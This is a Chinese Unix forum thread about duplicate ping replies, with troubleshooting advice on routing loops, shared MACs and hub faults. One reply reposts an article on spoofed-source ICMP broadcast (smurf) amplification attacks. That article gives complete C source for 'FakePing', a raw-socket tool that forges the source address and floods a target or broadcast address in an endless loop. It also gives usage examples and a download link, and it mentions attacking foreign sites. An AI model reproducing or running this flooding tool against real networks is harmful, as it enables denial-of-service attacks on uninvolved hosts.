当ping一个地址10.1.1.60时返回：
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=10 ms
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=12 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=12 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=13 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=9 ttl=62 time=10 ms
64 bytes from 10.1.1.60: icmp_seq=9 ttl=62 time=12 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=9 ttl=62 time=12 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=9 ttl=62 time=13 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=10 ttl=62 time=10 ms
64 bytes from 10.1.1.60: icmp_seq=10 ttl=62 time=11 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=10 ttl=62 time=12 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=10 ttl=62 time=13 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=11 ttl=62 time=10 ms
64 bytes from 10.1.1.60: icmp_seq=11 ttl=62 time=13 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=11 ttl=62 time=14 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=11 ttl=62 time=19 ms (DUP!)
为何？
zllovezlm 回复于：2004-12-14 15:27:38
:( :(
strongxxxx 回复于：2004-12-15 11:20:06
也想知道,顶?!
zllovezlm 回复于：2004-12-15 11:40:30
help me
耳朵 回复于：2004-12-15 17:32:21
我也想知道，高手解释一下啊
kobbydf 回复于：2004-12-16 11:01:43
应该是重复DUPLICATE，同一个序号的ICMP包却收到了多个回应。
一般在PING网段广播地址才会出现这种情况，但你这里的地址应该不是广播地址，为什么会这样就不知道了
zllovezlm 回复于：2004-12-27 13:27:22
谢谢了，help me!!!
vyouzhi 回复于：2004-12-27 19:34:09
我也明了
哈哈
学会了呢
shenwu 回复于：2004-12-28 10:01:33
一般是远端交换机或HUB流量超过负载,即堵塞
noah007 回复于：2004-12-29 01:40:24
有俩台机子用一个IP
edward 回复于：2004-12-29 08:51:52
应该是你的网络中存在环路路由,也就是到达你ping的主机有一条以上的路由路径，一般出现在使用static route的网络环境
双眼皮的猪 回复于：2004-12-29 08:53:40
引用：原帖由 "noah007"]有俩台机子用一个IP
发表：
不是用一个ip，应该是用一个mac...
有可能搞arp欺骗来着...
没让对方主机当掉...
mjj 回复于：2004-12-30 16:31:01
交换机BUG重启就行了
strongxxxx 回复于：2004-12-30 16:33:33
man ping:
Duplicate packets should never occur, and seem to be caused by nappropriate link-level retransmissions. Duplicates may occur in many situations and are rarely (if ever) a good sign, although the presence of low levels of duplicates may not always be cause for alarm.
具体是什么原因还是不清楚
kinglung 回复于：2005-01-06 13:38:52
看看这篇文章可能会得到一点启示！
伪装IP地址的洪水Ping攻击 (阅览 30074 次)
最近不少人又来号召大家一起去Ping死什么什么网站，不过从技术上来说，无论什么拒绝服务攻击方式，都需要满足一个条件：用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的：用最大的资源换取对方最小的伤害；也是可笑的：人民战争大概属于50多年前的行为了，在互联网时代，并不是人多就能如何如何的。
我们今天是来说Ping的，Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具，很久以前，一部分操作系统（例如win95），不能很好处理过大的Ping包，导致出现了Ping to Death的攻击方式（用大Ping包搞垮对方或者塞满网络），随着操作系统的升级，网络带宽的升级、计算机硬件的升级，目前，大Ping包基本上没有很大的攻击效果（分布式攻击除外），如果一定要使用Ping包去攻击别的主机，除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度（所谓正反馈）
正常情况下，Ping的流程是这样的:
主机A发送ICMP 8,0报文给主机B
主机B回送ICMp 0,0报文给主机A
因为ICMP基于无连结，所以就给了我们可乘之机，假设现在主机A伪装成主机C发送ICMP 8,0报文，结果会怎么样呢?显然，主机B会以为是主机C发送的报文而去
回应主机C，结构如下：
伪装为主机C 错误的回复
主机A--------------------->;主机B------------------>;主机C
这种情况下，由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply，所以攻击力度成倍的增加，同时实际上主机B和主机C都是被进攻的目标，而且不会留下自己的痕迹，是一种隐蔽的一石二鸟的攻击方法。
上面的方法用SOCK_RAW伪装IP就可以轻松实现，不过即使放大了两倍，对于比较强壮的操作系统和较大的带宽，也不见得有多大的效果，难道我们又来组织运动？不好吧，还是让敌人给我们放大好了，TCP/IP中有一个概念叫做广播，所谓广播的意思是说有一个地址，任何局域网内的主机都会接收发往这个地址的报文（就像电台广播一样），要是？难道？没错！如果我们往广播地址发送一个ICMP ECHO报文（就是Ping广播地址一下），结果会得到非常多的回应，以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY，如果你想试验，可以在unix的机器上Ping一下你局域网的广播地址，会看到很多回应的的dup包，就是重复的应答，windows系统上不会有这样的结果，因为微软的Ping程序不对多个回应进行解包，收到第一个包以后就丢弃后面的了，同样微软的系统默认也不回应广播地址的包，所以你最好在一个大量unix主机的局域网内测试。
说到这里，聪明的你肯定知道我想干什么了吧？嘿嘿嘿嘿，没错，当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候，所有这个广播地址内的主机都会回应这个Ping请求，这样，相当于是N倍的攻击力度！（N=广播地址内回应Ping包的主机数量）
伪装为主机C 所有广播主机都会错误的回复
主机A--------------------->;广播地址=========================>;主机C
我写了一个FakePing的工具，可以在Http://www.patching.net/shotgun/FakePing.exe下载。
使用方法是FakePing.exe FakeIP TargetIP [PacketSize]，如果TargetIP是广播地址，那么FakeIP是被攻击目标。
源码公布如下：
typedef struct _iphdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
// 定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号（一般用进程号作为识别号）
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >;1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >;>; 16) + (cksum & 0xffff);
cksum += (cksum >;>;16);
return (USHORT)(~cksum);
}
//FakePing主函数
int main(int argc, char **argv)
{
int datasize,ErrorCode,counter,flag;
int TimeOut=2000, SendSEQ=0, PacketSize=32;
char SendBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
char FakeSourceIp[20],DestIp[20];
//接受命令行参数
if (argc<3)
{
printf("FakePing by Shotgun
");
printf(" This program can do Ping-Flooding from a FakeIP
");
printf(" Using a BroadCast IP as the FakeIP will enhance the effect
");
printf("Email:
");
printf(" Shotgun@Xici.Net
");
printf("HomePage:
");
printf(" http://It.Xici.Net
");
printf(" http://www.Patching.Net
");
printf("USAGE:
FakePing.exe FakeSourceIp DestinationIp [PacketSize]
");
printf("Example:
");
printf(" FakePing.exe 192.168.15.23 192.168.15.255
");
printf(" FakePing.exe 192.168.15.23 192.168.15.200 6400
");
exit(0);
}
strcpy(FakeSourceIp,argv[1]);
strcpy(DestIp,argv[2]);
if (argc>;3) PacketSize=atoi(argv[3]);
if (PacketSize>;60000)
{
printf("Error! Packet size too big, must <60K
");
exit(0);
}
printf("Now Fake %s Ping %s using Packet size=%d bytes
",
FakeSourceIp, DestIp, PacketSize);
printf(" Ctrl+C to Quit
");
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,"WSAStartup failed: %d
",ErrorCode);
ExitProcess(STATUS_FAILED);
}
if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{
fprintf(stderr,"WSASocket() failed: %d
",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
printf("Set IP_HDRINCL Error!
");
__try
{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if (ErrorCode==SOCKET_ERROR)
{
fprintf(stderr,"Failed to set send TimeOut: %d
",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号，低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度（字节）
ip_header.ident=1;
//16位标识
ip_header.frag_and_flags=0;
//3位标志位
ip_header.ttl=128;
//8位生存时间 TTL
ip_header.proto=IPPROTO_ICMP;
//8位协议 (TCP, UDP 或其他)
ip_header.checksum=0;
//16位IP首部校验和
ip_header.sourceIP=inet_addr(FakeSourceIp); //32
位源IP地址
ip_header.destIP=inet_addr(DestIp);
//32位目的IP地址
//填充ICMP首部
icmp_header.i_type = 8;
icmp_header.i_code = 0;
icmp_header.i_cksum = 0;
icmp_header.i_id = 2;
icmp_header.timestamp = 999;
icmp_header.i_seq=999;
memcpy(SendBuf, &icmp_header, sizeof(icmp_header));
memset(SendBuf+sizeof(icmp_header), 'E', PacketSize);
icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize);
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E', PacketSize);
memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1);
//计算发送缓冲区的大小
datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize;
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header, sizeof(ip_header));
while(1)
{
Sleep(100);
printf(".");
for(counter=0;counter<1024;counter++)
{
//发送ICMP报文
ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("
Send Error:%d
",GetLastError());
}
}
}//End of try
__finally
{
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}
撰写本文的目的不是号召大家用FakePing工具去攻击美国站点，只是想略微展示一下用技术能做到什么蛮力做不到的东西。如果说大家一起Ping是义和团喊着“刀枪不入”去对抗大炮，FakePing也只能算得上是火枪而已，而美国已经研制出了航空母舰（一个操作系统的复杂度完全可以和航母媲美），难道用大刀、长枪、火枪去对抗航母？这样是很感人，也很悲壮，但是没有别的方法了？我们不能回去研制自己的战列舰？要是这次什么红客大战中二炮的专家们也出来参加Ping, 要是西昌的技术人员也去参加黑主页运动，我们不亡国才怪!
=========================
文章类型:转载
kinglung 回复于：2005-01-06 13:41:17
我们在这里应该谢谢文章作者
JohnBull 回复于：2005-01-06 18:48:22
引用：原帖由 "zllovezlm" 发表：
当ping一个地址10.1.1.60时返回：
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=10 ms
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=12 ms (DUP!)
64 bytes from 10.1.1.60: icmp_seq=8 ttl=62 time=12..........
你应该用嗅探器把回应包抓下来看看源MAC.
Netranger110 回复于：2005-01-07 15:49:19
这个PING不是WIN系统的，而是UNIX系的。
一般来说当你在BSD中用PING去PING广播地址时，包将会被复制。DUP指duplicates
你PING的这个IP绝有可能就是你段中的广播地址，请自行用掩码校验一下。
meteor_rain 回复于：2005-01-10 10:55:12
用了bond+HUB？
zllovezlm 回复于：2005-01-13 14:59:59
在局域网中有双机，SCO UNIX，同连接在一个HUB上IP分别为10.1.1.58 10.1.1.59对外虚拟IP为10.1.1.60，在令一个局域网中有IBM AIX,2个局域网经过静态路由连接在一起，当我从AIX PING 10.1.1.60出现DUP!现象，我也以为是广域网的问题，于是58,59对PING，依旧出现dup!现象，并且局域网内一定没有重复IP和MAC地址，我也怀疑是HUB的问题，不知道大家觉得怎样？
mjj 回复于：2005-01-19 08:02:10
肯定是HUB问题,我遇见过，解决了我的MSN ：mjj135790@hotmail.com
q1208c 回复于：2005-01-23 05:09:19
SCO 双机没玩过.
但 Linux 的双机是这样的, 两台机器共用了一个 MAC. 就是说可能是后启动那台机器会把自己的MAC设成先启动那台的. 因为这样才会保证系统的 HA 特性. 但一般不会是两台机器一起工作的. 看看你的双机是不是正常 吧.
power plant 回复于：2005-02-10 10:21:44
在UNIX中ping一个IP地址后，用什么命令退出？
边走边畅 回复于：2005-02-10 10:28:24
Ctrl + c 停止ping,还能停止好多命令……
pippen 回复于：2005-03-06 21:23:15
有可能是ICMP REDIRECT造成的,在三层交换机作为核心的组网中如果规划不好可能产生这种情况
antonio4853 回复于：2005-03-10 11:27:52
小D觉得是对方打环了，形成回路造成的后果。 :em06:
annababy 回复于：2005-03-14 15:25:00
:D :D
有两个原因
1:局域网有回路.
2:你的/etc/tcp里面的配置手动改过,改错了,看一看你的广播地址是否
改成了你所要ping的ip 地址了
我们以前也有这个问题,后来我发现后改过来了
|
